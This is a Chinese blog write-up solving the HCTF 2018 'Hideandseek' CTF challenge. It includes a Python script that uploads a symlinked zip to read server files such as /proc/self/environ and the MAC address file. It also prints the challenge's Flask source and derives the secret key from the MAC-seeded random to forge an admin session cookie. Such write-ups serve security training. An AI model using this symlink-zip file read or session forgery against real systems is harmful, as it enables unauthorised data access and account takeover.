HCTF 2018 Hideandseek 题解
HCTF 2018 Hideandseek

前言

一万年没刷题了,尽搞些杂七杂八的了,于是乎刷了一个题(自己给自己一个嘴巴子) 总结一下这个题的考点:

  • zip软链接实现任意文件读取
  • linux系统目录的熟悉
  • flask session伪造和加解密

正言

直接上题:

在这里插入图片描述

意图很明显,直接让你传zip文件,因此在这里想到可能是想让你进行zip软链接来读取其他文件,大晚上了,这里直接上写的exp吧:

#coding=utf-8
import os
import requests
import sys

url = 'http://0a716e50-1cf2-4cd8-a00f-b70d9987ed64.node3.buuoj.cn/upload'
def makezip():
    os.system('ln -s '+sys.argv[1]+' exp')
    os.system('zip --symlinks exp.zip exp')
makezip()

files = {'the_file':open('./exp.zip','rb')}
def exploit():
    res = requests.post(url,files=files)
    print(res.text)

exploit()
os.system('rm -rf exp')
os.system('rm -rf exp.zip')

在这里插入图片描述

这里首先你要通过session判断出使用了flask的框架
在这里插入图片描述

这里可以使用flask_session_manage进行加解密,我们解密一下session得到:
在这里插入图片描述

我们知道flasksession构造是需要secret_key的,所以我们的目标是去找到这个值,访问Linux的/proc/self/environ文件,它存放着环境变量,也就包括flask下的环境变量
在这里插入图片描述

给了你/app/uwsgi.ini,而这个文件是uwsgi.ini配置文件,一般情况下

client —> nginx —> uwsgi –> flask后台程序 (生产上一般都用这个流程)

因此很有可能存放了secret_key,继续读取:

在这里插入图片描述

由于是在buu复现,和原题不太一样,原题的main目录并不是这个,而我们去读取原题的main文件才是真正的main.py
原题main.py /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
我们在这也能顺利读取,应该是题目存在小bug吧。。
在这里插入图片描述

这里贴一下源码:

 # -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
    error = request.args.get('error', '')
    if(error == '1'):
        session.pop('username', None)
        return render_template('index.html', forbidden=1)

    if 'username' in session:
        return render_template('index.html', user=session['username'], flag=flag.flag)
    else:
        return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
    username=request.form['username']
    password=request.form['password']
    if request.method == 'POST' and username != '' and password != '':
        if(username == 'admin'):
            return redirect(url_for('index',error=1))
        session['username'] = username
    return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
    session.pop('username', None)
    return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'the_file' not in request.files:
        return redirect(url_for('index'))
    file = request.files['the_file']
    if file.filename == '':
        return redirect(url_for('index'))
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        if(os.path.exists(file_save_path)):
            return 'This file already exists'
        file.save(file_save_path)
    else:
        return 'This file is not a zipfile'


    try:
        extract_path = file_save_path + '_'
        os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
        read_obj = os.popen('cat ' + extract_path + '/*')
        file = read_obj.read()
        read_obj.close()
        os.system('rm -rf ' + extract_path)
    except Exception as e:
        file = None

    os.remove(file_save_path)
    if(file != None):
        if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
            return redirect(url_for('index', error=1))
    return Response(file)


if __name__ == '__main__':
    #app.run(debug=True)
    app.run(host='0.0.0.0', debug=True, port=10008)

这里secret_key居然是随机生成的,诶等等,给了种子啊,我们知道这个random是著名的伪随机数,我们只要知道播了的种子就能够生成和它产生一样的随机数,因此看到

random.seed(uuid.getnode())

在这里插入图片描述

原来是拿mac地址的十进制当的种子,那怎么找mac地址呢?
在这里插入图片描述

直接在/sys/class/net/eth0/address下就能看到:
在这里插入图片描述

转化成十进制后,我们用这个为种子

#coding=utf-8
import requests
import random

seed = 2485410478003
random.seed(seed)
secret_key = str(random.random()*100)
print(secret_key)
#66.46212199726358

有了secret_key之后,我们也知道session的构造方法,那我们就直接构造admin用户的session,从而伪造admin用户

在这里插入图片描述

得到session:eyJ1c2VybmFtZSI6ImFkbWluIn0.Ee4XgA.bm-2-b3yYDOypespe_8VdtHPuyM后我们直接改包即可
在这里插入图片描述

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇